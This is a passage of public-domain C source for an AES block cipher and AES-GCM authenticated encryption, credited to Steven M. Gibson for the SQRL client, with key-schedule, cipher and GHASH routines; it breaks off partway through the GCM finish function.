*******************************************************************************/
#include "aes.h"
static int aes_tables_inited = 0; // run-once flag for performing key
// expasion table generation (see below)
/*
* The following static local tables must be filled-in before the first use of
* the GCM or AES ciphers. They are used for the AES key expansion/scheduling
* and once built are read-only and thread safe. The "gcm_initialize" function
* must be called once during system initialization to populate these arrays
* for subsequent use by the AES key scheduler. If they have not been built
* before attempted use, an error will be returned to the caller.
*
* NOTE: GCM Encryption/Decryption does NOT REQUIRE AES decryption. Since
* GCM uses AES in counter-mode, where the AES cipher output is XORed with
* the GCM input, we ONLY NEED AES encryption. Thus, to save space AES
* decryption is typically disabled by setting AES_DECRYPTION to 0 in aes.h.
*/
// We always need our forward tables
static uchar FSb[256]; // Forward substitution box (FSb)
static uint32_t FT0[256]; // Forward key schedule assembly tables
static uint32_t FT1[256];
static uint32_t FT2[256];
static uint32_t FT3[256];
#if AES_DECRYPTION // We ONLY need reverse for decryption
static uchar RSb[256]; // Reverse substitution box (RSb)
static uint32_t RT0[256]; // Reverse key schedule assembly tables
static uint32_t RT1[256];
static uint32_t RT2[256];
static uint32_t RT3[256];
#endif /* AES_DECRYPTION */
static uint32_t RCON[10]; // AES round constants
/*
* Platform Endianness Neutralizing Load and Store Macro definitions
* AES wants platform-neutral Little Endian (LE) byte ordering
*/
#define GET_UINT32_LE(n, b, i) \
{ \
(n) = ((uint32_t)(b)[(i)]) | ((uint32_t)(b)[(i) + 1] << 8) | \
((uint32_t)(b)[(i) + 2] << 16) | ((uint32_t)(b)[(i) + 3] << 24); \
}
#define PUT_UINT32_LE(n, b, i) \
{ \
(b)[(i)] = (uchar)((n)); \
(b)[(i) + 1] = (uchar)((n) >> 8); \
(b)[(i) + 2] = (uchar)((n) >> 16); \
(b)[(i) + 3] = (uchar)((n) >> 24); \
}
/*
* AES forward and reverse encryption round processing macros
*/
#define AES_FROUND(X0, X1, X2, X3, Y0, Y1, Y2, Y3) \
{ \
X0 = *RK++ ^ FT0[(Y0)&0xFF] ^ FT1[(Y1 >> 8) & 0xFF] ^ FT2[(Y2 >> 16) & 0xFF] ^ \
FT3[(Y3 >> 24) & 0xFF]; \
\
X1 = *RK++ ^ FT0[(Y1)&0xFF] ^ FT1[(Y2 >> 8) & 0xFF] ^ FT2[(Y3 >> 16) & 0xFF] ^ \
FT3[(Y0 >> 24) & 0xFF]; \
\
X2 = *RK++ ^ FT0[(Y2)&0xFF] ^ FT1[(Y3 >> 8) & 0xFF] ^ FT2[(Y0 >> 16) & 0xFF] ^ \
FT3[(Y1 >> 24) & 0xFF]; \
\
X3 = *RK++ ^ FT0[(Y3)&0xFF] ^ FT1[(Y0 >> 8) & 0xFF] ^ FT2[(Y1 >> 16) & 0xFF] ^ \
FT3[(Y2 >> 24) & 0xFF]; \
}
#define AES_RROUND(X0, X1, X2, X3, Y0, Y1, Y2, Y3) \
{ \
X0 = *RK++ ^ RT0[(Y0)&0xFF] ^ RT1[(Y3 >> 8) & 0xFF] ^ RT2[(Y2 >> 16) & 0xFF] ^ \
RT3[(Y1 >> 24) & 0xFF]; \
\
X1 = *RK++ ^ RT0[(Y1)&0xFF] ^ RT1[(Y0 >> 8) & 0xFF] ^ RT2[(Y3 >> 16) & 0xFF] ^ \
RT3[(Y2 >> 24) & 0xFF]; \
\
X2 = *RK++ ^ RT0[(Y2)&0xFF] ^ RT1[(Y1 >> 8) & 0xFF] ^ RT2[(Y0 >> 16) & 0xFF] ^ \
RT3[(Y3 >> 24) & 0xFF]; \
\
X3 = *RK++ ^ RT0[(Y3)&0xFF] ^ RT1[(Y2 >> 8) & 0xFF] ^ RT2[(Y1 >> 16) & 0xFF] ^ \
RT3[(Y0 >> 24) & 0xFF]; \
}
/*
* These macros improve the readability of the key
* generation initialization code by collapsing
* repetitive common operations into logical pieces.
*/
#define ROTL8(x) ((x << 8) & 0xFFFFFFFF) | (x >> 24)
#define XTIME(x) ((x << 1) ^ ((x & 0x80) ? 0x1B : 0x00))
#define MUL(x, y) ((x && y) ? pow[(log[x] + log[y]) % 255] : 0)
#define MIX(x, y) \
{ \
y = ((y << 1) | (y >> 7)) & 0xFF; \
x ^= y; \
}
#define CPY128 \
{ \
*RK++ = *SK++; \
*RK++ = *SK++; \
*RK++ = *SK++; \
*RK++ = *SK++; \
}
/******************************************************************************
*
* AES_INIT_KEYGEN_TABLES
*
* Fills the AES key expansion tables allocated above with their static
* data. This is not "per key" data, but static system-wide read-only
* table data. THIS FUNCTION IS NOT THREAD SAFE. It must be called once
* at system initialization to setup the tables for all subsequent use.
*
******************************************************************************/
void aes_init_keygen_tables(void) {
int i, x, y, z; // general purpose iteration and computation locals
int pow[256];
int log[256];
if(aes_tables_inited) return;
// fill the 'pow' and 'log' tables over GF(2^8)
for(i = 0, x = 1; i < 256; i++) {
pow[i] = x;
log[x] = i;
x = (x ^ XTIME(x)) & 0xFF;
}
// compute the round constants
for(i = 0, x = 1; i < 10; i++) {
RCON[i] = (uint32_t)x;
x = XTIME(x) & 0xFF;
}
// fill the forward and reverse substitution boxes
FSb[0x00] = 0x63;
#if AES_DECRYPTION // whether AES decryption is supported
RSb[0x63] = 0x00;
#endif /* AES_DECRYPTION */
for(i = 1; i < 256; i++) {
x = y = pow[255 - log[i]];
MIX(x, y);
MIX(x, y);
MIX(x, y);
MIX(x, y);
FSb[i] = (uchar)(x ^= 0x63);
#if AES_DECRYPTION // whether AES decryption is supported
RSb[x] = (uchar)i;
#endif /* AES_DECRYPTION */
}
// generate the forward and reverse key expansion tables
for(i = 0; i < 256; i++) {
x = FSb[i];
y = XTIME(x) & 0xFF;
z = (y ^ x) & 0xFF;
FT0[i] = ((uint32_t)y) ^ ((uint32_t)x << 8) ^ ((uint32_t)x << 16) ^ ((uint32_t)z << 24);
FT1[i] = ROTL8(FT0[i]);
FT2[i] = ROTL8(FT1[i]);
FT3[i] = ROTL8(FT2[i]);
#if AES_DECRYPTION // whether AES decryption is supported
x = RSb[i];
RT0[i] = ((uint32_t)MUL(0x0E, x)) ^ ((uint32_t)MUL(0x09, x) << 8) ^
((uint32_t)MUL(0x0D, x) << 16) ^ ((uint32_t)MUL(0x0B, x) << 24);
RT1[i] = ROTL8(RT0[i]);
RT2[i] = ROTL8(RT1[i]);
RT3[i] = ROTL8(RT2[i]);
#endif /* AES_DECRYPTION */
}
aes_tables_inited = 1; // flag that the tables have been generated
} // to permit subsequent use of the AES cipher
/******************************************************************************
*
* AES_SET_ENCRYPTION_KEY
*
* This is called by 'aes_setkey' when we're establishing a key for
* subsequent encryption. We give it a pointer to the encryption
* context, a pointer to the key, and the key's length in bytes.
* Valid lengths are: 16, 24 or 32 bytes (128, 192, 256 bits).
*
******************************************************************************/
int aes_set_encryption_key(aes_context* ctx, const uchar* key, uint keysize) {
uint i; // general purpose iteration local
uint32_t* RK = ctx->rk; // initialize our RoundKey buffer pointer
for(i = 0; i < (keysize >> 2); i++) {
GET_UINT32_LE(RK[i], key, i << 2);
}
switch(ctx->rounds) {
case 10:
for(i = 0; i < 10; i++, RK += 4) {
RK[4] = RK[0] ^ RCON[i] ^ ((uint32_t)FSb[(RK[3] >> 8) & 0xFF]) ^
((uint32_t)FSb[(RK[3] >> 16) & 0xFF] << 8) ^
((uint32_t)FSb[(RK[3] >> 24) & 0xFF] << 16) ^
((uint32_t)FSb[(RK[3]) & 0xFF] << 24);
RK[5] = RK[1] ^ RK[4];
RK[6] = RK[2] ^ RK[5];
RK[7] = RK[3] ^ RK[6];
}
break;
case 12:
for(i = 0; i < 8; i++, RK += 6) {
RK[6] = RK[0] ^ RCON[i] ^ ((uint32_t)FSb[(RK[5] >> 8) & 0xFF]) ^
((uint32_t)FSb[(RK[5] >> 16) & 0xFF] << 8) ^
((uint32_t)FSb[(RK[5] >> 24) & 0xFF] << 16) ^
((uint32_t)FSb[(RK[5]) & 0xFF] << 24);
RK[7] = RK[1] ^ RK[6];
RK[8] = RK[2] ^ RK[7];
RK[9] = RK[3] ^ RK[8];
RK[10] = RK[4] ^ RK[9];
RK[11] = RK[5] ^ RK[10];
}
break;
case 14:
for(i = 0; i < 7; i++, RK += 8) {
RK[8] = RK[0] ^ RCON[i] ^ ((uint32_t)FSb[(RK[7] >> 8) & 0xFF]) ^
((uint32_t)FSb[(RK[7] >> 16) & 0xFF] << 8) ^
((uint32_t)FSb[(RK[7] >> 24) & 0xFF] << 16) ^
((uint32_t)FSb[(RK[7]) & 0xFF] << 24);
RK[9] = RK[1] ^ RK[8];
RK[10] = RK[2] ^ RK[9];
RK[11] = RK[3] ^ RK[10];
RK[12] = RK[4] ^ ((uint32_t)FSb[(RK[11]) & 0xFF]) ^
((uint32_t)FSb[(RK[11] >> 8) & 0xFF] << 8) ^
((uint32_t)FSb[(RK[11] >> 16) & 0xFF] << 16) ^
((uint32_t)FSb[(RK[11] >> 24) & 0xFF] << 24);
RK[13] = RK[5] ^ RK[12];
RK[14] = RK[6] ^ RK[13];
RK[15] = RK[7] ^ RK[14];
}
break;
default:
return -1;
}
return (0);
}
#if AES_DECRYPTION // whether AES decryption is supported
/******************************************************************************
*
* AES_SET_DECRYPTION_KEY
*
* This is called by 'aes_setkey' when we're establishing a
* key for subsequent decryption. We give it a pointer to
* the encryption context, a pointer to the key, and the key's
* length in bits. Valid lengths are: 128, 192, or 256 bits.
*
******************************************************************************/
int aes_set_decryption_key(aes_context* ctx, const uchar* key, uint keysize) {
int i, j;
aes_context cty; // a calling aes context for set_encryption_key
uint32_t* RK = ctx->rk; // initialize our RoundKey buffer pointer
uint32_t* SK;
int ret;
cty.rounds = ctx->rounds; // initialize our local aes context
cty.rk = cty.buf; // round count and key buf pointer
if((ret = aes_set_encryption_key(&cty, key, keysize)) != 0) return (ret);
SK = cty.rk + cty.rounds * 4;
CPY128 // copy a 128-bit block from *SK to *RK
for(i = ctx->rounds - 1, SK -= 8; i > 0; i--, SK -= 8) {
for(j = 0; j < 4; j++, SK++) {
*RK++ = RT0[FSb[(*SK) & 0xFF]] ^ RT1[FSb[(*SK >> 8) & 0xFF]] ^
RT2[FSb[(*SK >> 16) & 0xFF]] ^ RT3[FSb[(*SK >> 24) & 0xFF]];
}
}
CPY128 // copy a 128-bit block from *SK to *RK
memset(&cty, 0, sizeof(aes_context)); // clear local aes context
return (0);
}
#endif /* AES_DECRYPTION */
/******************************************************************************
*
* AES_SETKEY
*
* Invoked to establish the key schedule for subsequent encryption/decryption
*
******************************************************************************/
int aes_setkey(
aes_context* ctx, // AES context provided by our caller
int mode, // ENCRYPT or DECRYPT flag
const uchar* key, // pointer to the key
uint keysize) // key length in bytes
{
// since table initialization is not thread safe, we could either add
// system-specific mutexes and init the AES key generation tables on
// demand, or ask the developer to simply call "gcm_initialize" once during
// application startup before threading begins. That's what we choose.
if(!aes_tables_inited) return (-1); // fail the call when not inited.
ctx->mode = mode; // capture the key type we're creating
ctx->rk = ctx->buf; // initialize our round key pointer
switch(keysize) // set the rounds count based upon the keysize
{
case 16:
ctx->rounds = 10;
break; // 16-byte, 128-bit key
case 24:
ctx->rounds = 12;
break; // 24-byte, 192-bit key
case 32:
ctx->rounds = 14;
break; // 32-byte, 256-bit key
default:
return (-1);
}
#if AES_DECRYPTION
if(mode == DECRYPT) // expand our key for encryption or decryption
return (aes_set_decryption_key(ctx, key, keysize));
else /* ENCRYPT */
#endif /* AES_DECRYPTION */
return (aes_set_encryption_key(ctx, key, keysize));
}
/******************************************************************************
*
* AES_CIPHER
*
* Perform AES encryption and decryption.
* The AES context will have been setup with the encryption mode
* and all keying information appropriate for the task.
*
******************************************************************************/
int aes_cipher(aes_context* ctx, const uchar input[16], uchar output[16]) {
int i;
uint32_t *RK, X0, X1, X2, X3, Y0, Y1, Y2, Y3; // general purpose locals
RK = ctx->rk;
GET_UINT32_LE(X0, input, 0);
X0 ^= *RK++; // load our 128-bit
GET_UINT32_LE(X1, input, 4);
X1 ^= *RK++; // input buffer in a storage
GET_UINT32_LE(X2, input, 8);
X2 ^= *RK++; // memory endian-neutral way
GET_UINT32_LE(X3, input, 12);
X3 ^= *RK++;
#if AES_DECRYPTION // whether AES decryption is supported
if(ctx->mode == DECRYPT) {
for(i = (ctx->rounds >> 1) - 1; i > 0; i--) {
AES_RROUND(Y0, Y1, Y2, Y3, X0, X1, X2, X3);
AES_RROUND(X0, X1, X2, X3, Y0, Y1, Y2, Y3);
}
AES_RROUND(Y0, Y1, Y2, Y3, X0, X1, X2, X3);
X0 = *RK++ ^ ((uint32_t)RSb[(Y0)&0xFF]) ^ ((uint32_t)RSb[(Y3 >> 8) & 0xFF] << 8) ^
((uint32_t)RSb[(Y2 >> 16) & 0xFF] << 16) ^ ((uint32_t)RSb[(Y1 >> 24) & 0xFF] << 24);
X1 = *RK++ ^ ((uint32_t)RSb[(Y1)&0xFF]) ^ ((uint32_t)RSb[(Y0 >> 8) & 0xFF] << 8) ^
((uint32_t)RSb[(Y3 >> 16) & 0xFF] << 16) ^ ((uint32_t)RSb[(Y2 >> 24) & 0xFF] << 24);
X2 = *RK++ ^ ((uint32_t)RSb[(Y2)&0xFF]) ^ ((uint32_t)RSb[(Y1 >> 8) & 0xFF] << 8) ^
((uint32_t)RSb[(Y0 >> 16) & 0xFF] << 16) ^ ((uint32_t)RSb[(Y3 >> 24) & 0xFF] << 24);
X3 = *RK++ ^ ((uint32_t)RSb[(Y3)&0xFF]) ^ ((uint32_t)RSb[(Y2 >> 8) & 0xFF] << 8) ^
((uint32_t)RSb[(Y1 >> 16) & 0xFF] << 16) ^ ((uint32_t)RSb[(Y0 >> 24) & 0xFF] << 24);
} else /* ENCRYPT */
{
#endif /* AES_DECRYPTION */
for(i = (ctx->rounds >> 1) - 1; i > 0; i--) {
AES_FROUND(Y0, Y1, Y2, Y3, X0, X1, X2, X3);
AES_FROUND(X0, X1, X2, X3, Y0, Y1, Y2, Y3);
}
AES_FROUND(Y0, Y1, Y2, Y3, X0, X1, X2, X3);
X0 = *RK++ ^ ((uint32_t)FSb[(Y0)&0xFF]) ^ ((uint32_t)FSb[(Y1 >> 8) & 0xFF] << 8) ^
((uint32_t)FSb[(Y2 >> 16) & 0xFF] << 16) ^ ((uint32_t)FSb[(Y3 >> 24) & 0xFF] << 24);
X1 = *RK++ ^ ((uint32_t)FSb[(Y1)&0xFF]) ^ ((uint32_t)FSb[(Y2 >> 8) & 0xFF] << 8) ^
((uint32_t)FSb[(Y3 >> 16) & 0xFF] << 16) ^ ((uint32_t)FSb[(Y0 >> 24) & 0xFF] << 24);
X2 = *RK++ ^ ((uint32_t)FSb[(Y2)&0xFF]) ^ ((uint32_t)FSb[(Y3 >> 8) & 0xFF] << 8) ^
((uint32_t)FSb[(Y0 >> 16) & 0xFF] << 16) ^ ((uint32_t)FSb[(Y1 >> 24) & 0xFF] << 24);
X3 = *RK++ ^ ((uint32_t)FSb[(Y3)&0xFF]) ^ ((uint32_t)FSb[(Y0 >> 8) & 0xFF] << 8) ^
((uint32_t)FSb[(Y1 >> 16) & 0xFF] << 16) ^ ((uint32_t)FSb[(Y2 >> 24) & 0xFF] << 24);
#if AES_DECRYPTION // whether AES decryption is supported
}
#endif /* AES_DECRYPTION */
PUT_UINT32_LE(X0, output, 0);
PUT_UINT32_LE(X1, output, 4);
PUT_UINT32_LE(X2, output, 8);
PUT_UINT32_LE(X3, output, 12);
return (0);
}
/* end of aes.c */

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/******************************************************************************
*
* THIS SOURCE CODE IS HEREBY PLACED INTO THE PUBLIC DOMAIN FOR THE GOOD OF ALL
*
* This is a simple and straightforward implementation of the AES Rijndael
* 128-bit block cipher designed by Vincent Rijmen and Joan Daemen. The focus
* of this work was correctness & accuracy. It is written in 'C' without any
* particular focus upon optimization or speed. It should be endian (memory
* byte order) neutral since the few places that care are handled explicitly.
*
* This implementation of Rijndael was created by Steven M. Gibson of GRC.com.
*
* It is intended for general purpose use, but was written in support of GRC's
* reference implementation of the SQRL (Secure Quick Reliable Login) client.
*
* See: http://csrc.nist.gov/archive/aes/rijndael/wsdindex.html
*
* NO COPYRIGHT IS CLAIMED IN THIS WORK, HOWEVER, NEITHER IS ANY WARRANTY MADE
* REGARDING ITS FITNESS FOR ANY PARTICULAR PURPOSE. USE IT AT YOUR OWN RISK.
*
*******************************************************************************/
#ifndef AES_HEADER
#define AES_HEADER
/******************************************************************************/
#define AES_DECRYPTION 0 // whether AES decryption is supported
/******************************************************************************/
#include <string.h>
#define ENCRYPT 1 // specify whether we're encrypting
#define DECRYPT 0 // or decrypting
#if defined(_MSC_VER)
#include <basetsd.h>
typedef UINT32 uint32_t;
#else
#include <inttypes.h>
#endif
typedef unsigned char uchar; // add some convienent shorter types
typedef unsigned int uint;
/******************************************************************************
* AES_INIT_KEYGEN_TABLES : MUST be called once before any AES use
******************************************************************************/
void aes_init_keygen_tables(void);
/******************************************************************************
* AES_CONTEXT : cipher context / holds inter-call data
******************************************************************************/
typedef struct {
int mode; // 1 for Encryption, 0 for Decryption
int rounds; // keysize-based rounds count
uint32_t* rk; // pointer to current round key
uint32_t buf[68]; // key expansion buffer
} aes_context;
/******************************************************************************
* AES_SETKEY : called to expand the key for encryption or decryption
******************************************************************************/
int aes_setkey(
aes_context* ctx, // pointer to context
int mode, // 1 or 0 for Encrypt/Decrypt
const uchar* key, // AES input key
uint keysize); // size in bytes (must be 16, 24, 32 for
// 128, 192 or 256-bit keys respectively)
// returns 0 for success
/******************************************************************************
* AES_CIPHER : called to encrypt or decrypt ONE 128-bit block of data
******************************************************************************/
int aes_cipher(
aes_context* ctx, // pointer to context
const uchar input[16], // 128-bit block to en/decipher
uchar output[16]); // 128-bit output result block
// returns 0 for success
#endif /* AES_HEADER */

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@@ -1,516 +0,0 @@
/******************************************************************************
*
* THIS SOURCE CODE IS HEREBY PLACED INTO THE PUBLIC DOMAIN FOR THE GOOD OF ALL
*
* This is a simple and straightforward implementation of AES-GCM authenticated
* encryption. The focus of this work was correctness & accuracy. It is written
* in straight 'C' without any particular focus upon optimization or speed. It
* should be endian (memory byte order) neutral since the few places that care
* are handled explicitly.
*
* This implementation of AES-GCM was created by Steven M. Gibson of GRC.com.
*
* It is intended for general purpose use, but was written in support of GRC's
* reference implementation of the SQRL (Secure Quick Reliable Login) client.
*
* See: http://csrc.nist.gov/publications/nistpubs/800-38D/SP-800-38D.pdf
* http://csrc.nist.gov/groups/ST/toolkit/BCM/documents/proposedmodes/
* gcm/gcm-revised-spec.pdf
*
* NO COPYRIGHT IS CLAIMED IN THIS WORK, HOWEVER, NEITHER IS ANY WARRANTY MADE
* REGARDING ITS FITNESS FOR ANY PARTICULAR PURPOSE. USE IT AT YOUR OWN RISK.
*
*******************************************************************************/
#include "gcm.h"
#include "aes.h"
/******************************************************************************
* ==== IMPLEMENTATION WARNING ====
*
* This code was developed for use within SQRL's fixed environmnent. Thus, it
* is somewhat less "general purpose" than it would be if it were designed as
* a general purpose AES-GCM library. Specifically, it bothers with almost NO
* error checking on parameter limits, buffer bounds, etc. It assumes that it
* is being invoked by its author or by someone who understands the values it
* expects to receive. Its behavior will be undefined otherwise.
*
* All functions that might fail are defined to return 'ints' to indicate a
* problem. Most do not do so now. But this allows for error propagation out
* of internal functions if robust error checking should ever be desired.
*
******************************************************************************/
/* Calculating the "GHASH"
*
* There are many ways of calculating the so-called GHASH in software, each with
* a traditional size vs performance tradeoff. The GHASH (Galois field hash) is
* an intriguing construction which takes two 128-bit strings (also the cipher's
* block size and the fundamental operation size for the system) and hashes them
* into a third 128-bit result.
*
* Many implementation solutions have been worked out that use large precomputed
* table lookups in place of more time consuming bit fiddling, and this approach
* can be scaled easily upward or downward as needed to change the time/space
* tradeoff. It's been studied extensively and there's a solid body of theory and
* practice. For example, without using any lookup tables an implementation
* might obtain 119 cycles per byte throughput, whereas using a simple, though
* large, key-specific 64 kbyte 8-bit lookup table the performance jumps to 13
* cycles per byte.
*
* And Intel's processors have, since 2010, included an instruction which does
* the entire 128x128->128 bit job in just several 64x64->128 bit pieces.
*
* Since SQRL is interactive, and only processing a few 128-bit blocks, I've
* settled upon a relatively slower but appealing small-table compromise which
* folds a bunch of not only time consuming but also bit twiddling into a simple
* 16-entry table which is attributed to Victor Shoup's 1996 work while at
* Bellcore: "On Fast and Provably Secure MessageAuthentication Based on
* Universal Hashing." See: http://www.shoup.net/papers/macs.pdf
* See, also section 4.1 of the "gcm-revised-spec" cited above.
*/
/*
* This 16-entry table of pre-computed constants is used by the
* GHASH multiplier to improve over a strictly table-free but
* significantly slower 128x128 bit multiple within GF(2^128).
*/
static const uint64_t last4[16] = {
0x0000,
0x1c20,
0x3840,
0x2460,
0x7080,
0x6ca0,
0x48c0,
0x54e0,
0xe100,
0xfd20,
0xd940,
0xc560,
0x9180,
0x8da0,
0xa9c0,
0xb5e0};
/*
* Platform Endianness Neutralizing Load and Store Macro definitions
* GCM wants platform-neutral Big Endian (BE) byte ordering
*/
#define GET_UINT32_BE(n, b, i) \
{ \
(n) = ((uint32_t)(b)[(i)] << 24) | ((uint32_t)(b)[(i) + 1] << 16) | \
((uint32_t)(b)[(i) + 2] << 8) | ((uint32_t)(b)[(i) + 3]); \
}
#define PUT_UINT32_BE(n, b, i) \
{ \
(b)[(i)] = (uchar)((n) >> 24); \
(b)[(i) + 1] = (uchar)((n) >> 16); \
(b)[(i) + 2] = (uchar)((n) >> 8); \
(b)[(i) + 3] = (uchar)((n)); \
}
/******************************************************************************
*
* GCM_INITIALIZE
*
* Must be called once to initialize the GCM library.
*
* At present, this only calls the AES keygen table generator, which expands
* the AES keying tables for use. This is NOT A THREAD-SAFE function, so it
* MUST be called during system initialization before a multi-threading
* environment is running.
*
******************************************************************************/
int gcm_initialize(void) {
aes_init_keygen_tables();
return (0);
}
/******************************************************************************
*
* GCM_MULT
*
* Performs a GHASH operation on the 128-bit input vector 'x', setting
* the 128-bit output vector to 'x' times H using our precomputed tables.
* 'x' and 'output' are seen as elements of GCM's GF(2^128) Galois field.
*
******************************************************************************/
static void gcm_mult(
gcm_context* ctx, // pointer to established context
const uchar x[16], // pointer to 128-bit input vector
uchar output[16]) // pointer to 128-bit output vector
{
int i;
uchar lo, hi, rem;
uint64_t zh, zl;
lo = (uchar)(x[15] & 0x0f);
hi = (uchar)(x[15] >> 4);
zh = ctx->HH[lo];
zl = ctx->HL[lo];
for(i = 15; i >= 0; i--) {
lo = (uchar)(x[i] & 0x0f);
hi = (uchar)(x[i] >> 4);
if(i != 15) {
rem = (uchar)(zl & 0x0f);
zl = (zh << 60) | (zl >> 4);
zh = (zh >> 4);
zh ^= (uint64_t)last4[rem] << 48;
zh ^= ctx->HH[lo];
zl ^= ctx->HL[lo];
}
rem = (uchar)(zl & 0x0f);
zl = (zh << 60) | (zl >> 4);
zh = (zh >> 4);
zh ^= (uint64_t)last4[rem] << 48;
zh ^= ctx->HH[hi];
zl ^= ctx->HL[hi];
}
PUT_UINT32_BE(zh >> 32, output, 0);
PUT_UINT32_BE(zh, output, 4);
PUT_UINT32_BE(zl >> 32, output, 8);
PUT_UINT32_BE(zl, output, 12);
}
/******************************************************************************
*
* GCM_SETKEY
*
* This is called to set the AES-GCM key. It initializes the AES key
* and populates the gcm context's pre-calculated HTables.
*
******************************************************************************/
int gcm_setkey(
gcm_context* ctx, // pointer to caller-provided gcm context
const uchar* key, // pointer to the AES encryption key
const uint keysize) // size in bytes (must be 16, 24, 32 for
// 128, 192 or 256-bit keys respectively)
{
int ret, i, j;
uint64_t hi, lo;
uint64_t vl, vh;
unsigned char h[16];
memset(ctx, 0, sizeof(gcm_context)); // zero caller-provided GCM context
memset(h, 0, 16); // initialize the block to encrypt
// encrypt the null 128-bit block to generate a key-based value
// which is then used to initialize our GHASH lookup tables
if((ret = aes_setkey(&ctx->aes_ctx, ENCRYPT, key, keysize)) != 0) return (ret);
if((ret = aes_cipher(&ctx->aes_ctx, h, h)) != 0) return (ret);
GET_UINT32_BE(hi, h, 0); // pack h as two 64-bit ints, big-endian
GET_UINT32_BE(lo, h, 4);
vh = (uint64_t)hi << 32 | lo;
GET_UINT32_BE(hi, h, 8);
GET_UINT32_BE(lo, h, 12);
vl = (uint64_t)hi << 32 | lo;
ctx->HL[8] = vl; // 8 = 1000 corresponds to 1 in GF(2^128)
ctx->HH[8] = vh;
ctx->HH[0] = 0; // 0 corresponds to 0 in GF(2^128)
ctx->HL[0] = 0;
for(i = 4; i > 0; i >>= 1) {
uint32_t T = (uint32_t)(vl & 1) * 0xe1000000U;
vl = (vh << 63) | (vl >> 1);
vh = (vh >> 1) ^ ((uint64_t)T << 32);
ctx->HL[i] = vl;
ctx->HH[i] = vh;
}
for(i = 2; i < 16; i <<= 1) {
uint64_t *HiL = ctx->HL + i, *HiH = ctx->HH + i;
vh = *HiH;
vl = *HiL;
for(j = 1; j < i; j++) {
HiH[j] = vh ^ ctx->HH[j];
HiL[j] = vl ^ ctx->HL[j];
}
}
return (0);
}
/******************************************************************************
*
* GCM processing occurs four phases: SETKEY, START, UPDATE and FINISH.
*
* SETKEY:
*
* START: Sets the Encryption/Decryption mode.
* Accepts the initialization vector and additional data.
*
* UPDATE: Encrypts or decrypts the plaintext or ciphertext.
*
* FINISH: Performs a final GHASH to generate the authentication tag.
*
******************************************************************************
*
* GCM_START
*
* Given a user-provided GCM context, this initializes it, sets the encryption
* mode, and preprocesses the initialization vector and additional AEAD data.
*
******************************************************************************/
int gcm_start(
gcm_context* ctx, // pointer to user-provided GCM context
int mode, // GCM_ENCRYPT or GCM_DECRYPT
const uchar* iv, // pointer to initialization vector
size_t iv_len, // IV length in bytes (should == 12)
const uchar* add, // ptr to additional AEAD data (NULL if none)
size_t add_len) // length of additional AEAD data (bytes)
{
int ret; // our error return if the AES encrypt fails
uchar work_buf[16]; // XOR source built from provided IV if len != 16
const uchar* p; // general purpose array pointer
size_t use_len; // byte count to process, up to 16 bytes
size_t i; // local loop iterator
// since the context might be reused under the same key
// we zero the working buffers for this next new process
memset(ctx->y, 0x00, sizeof(ctx->y));
memset(ctx->buf, 0x00, sizeof(ctx->buf));
ctx->len = 0;
ctx->add_len = 0;
ctx->mode = mode; // set the GCM encryption/decryption mode
ctx->aes_ctx.mode = ENCRYPT; // GCM *always* runs AES in ENCRYPTION mode
if(iv_len == 12) { // GCM natively uses a 12-byte, 96-bit IV
memcpy(ctx->y, iv, iv_len); // copy the IV to the top of the 'y' buff
ctx->y[15] = 1; // start "counting" from 1 (not 0)
} else // if we don't have a 12-byte IV, we GHASH whatever we've been given
{
memset(work_buf, 0x00, 16); // clear the working buffer
PUT_UINT32_BE(iv_len * 8, work_buf, 12); // place the IV into buffer
p = iv;
while(iv_len > 0) {
use_len = (iv_len < 16) ? iv_len : 16;
for(i = 0; i < use_len; i++) ctx->y[i] ^= p[i];
gcm_mult(ctx, ctx->y, ctx->y);
iv_len -= use_len;
p += use_len;
}
for(i = 0; i < 16; i++) ctx->y[i] ^= work_buf[i];
gcm_mult(ctx, ctx->y, ctx->y);
}
if((ret = aes_cipher(&ctx->aes_ctx, ctx->y, ctx->base_ectr)) != 0) return (ret);
ctx->add_len = add_len;
p = add;
while(add_len > 0) {
use_len = (add_len < 16) ? add_len : 16;
for(i = 0; i < use_len; i++) ctx->buf[i] ^= p[i];
gcm_mult(ctx, ctx->buf, ctx->buf);
add_len -= use_len;
p += use_len;
}
return (0);
}
/******************************************************************************
*
* GCM_UPDATE
*
* This is called once or more to process bulk plaintext or ciphertext data.
* We give this some number of bytes of input and it returns the same number
* of output bytes. If called multiple times (which is fine) all but the final
* invocation MUST be called with length mod 16 == 0. (Only the final call can
* have a partial block length of < 128 bits.)
*
******************************************************************************/
int gcm_update(
gcm_context* ctx, // pointer to user-provided GCM context
size_t length, // length, in bytes, of data to process
const uchar* input, // pointer to source data
uchar* output) // pointer to destination data
{
int ret; // our error return if the AES encrypt fails
uchar ectr[16]; // counter-mode cipher output for XORing
size_t use_len; // byte count to process, up to 16 bytes
size_t i; // local loop iterator
ctx->len += length; // bump the GCM context's running length count
while(length > 0) {
// clamp the length to process at 16 bytes
use_len = (length < 16) ? length : 16;
// increment the context's 128-bit IV||Counter 'y' vector
for(i = 16; i > 12; i--)
if(++ctx->y[i - 1] != 0) break;
// encrypt the context's 'y' vector under the established key
if((ret = aes_cipher(&ctx->aes_ctx, ctx->y, ectr)) != 0) return (ret);
// encrypt or decrypt the input to the output
if(ctx->mode == ENCRYPT) {
for(i = 0; i < use_len; i++) {
// XOR the cipher's ouptut vector (ectr) with our input
output[i] = (uchar)(ectr[i] ^ input[i]);
// now we mix in our data into the authentication hash.
// if we're ENcrypting we XOR in the post-XOR (output)
// results, but if we're DEcrypting we XOR in the input
// data
ctx->buf[i] ^= output[i];
}
} else {
for(i = 0; i < use_len; i++) {
// but if we're DEcrypting we XOR in the input data first,
// i.e. before saving to ouput data, otherwise if the input
// and output buffer are the same (inplace decryption) we
// would not get the correct auth tag
ctx->buf[i] ^= input[i];
// XOR the cipher's ouptut vector (ectr) with our input
output[i] = (uchar)(ectr[i] ^ input[i]);
}
}
gcm_mult(ctx, ctx->buf, ctx->buf); // perform a GHASH operation
length -= use_len; // drop the remaining byte count to process
input += use_len; // bump our input pointer forward
output += use_len; // bump our output pointer forward
}
return (0);
}
/******************************************************************************
*
* GCM_FINISH
*
* This is called once after all calls to GCM_UPDATE to finalize the GCM.
* It performs the final GHASH to produce the resulting authentication TAG.
*
******************************************************************************/
int gcm_finish(
gcm_context* ctx, // pointer to user-provided GCM context
uchar* tag, // pointer to buffer which receives the tag
size_t tag_len) // length, in bytes, of the tag-receiving buf
{
uchar work_buf[16];
uint64_t orig_len = ctx->len * 8;
uint64_t orig_add_len = ctx->add_len * 8;
size_t i;
if(tag_len != 0) memcpy(tag, ctx->base_ectr, tag_len);
if(orig_len || orig_add_len) {
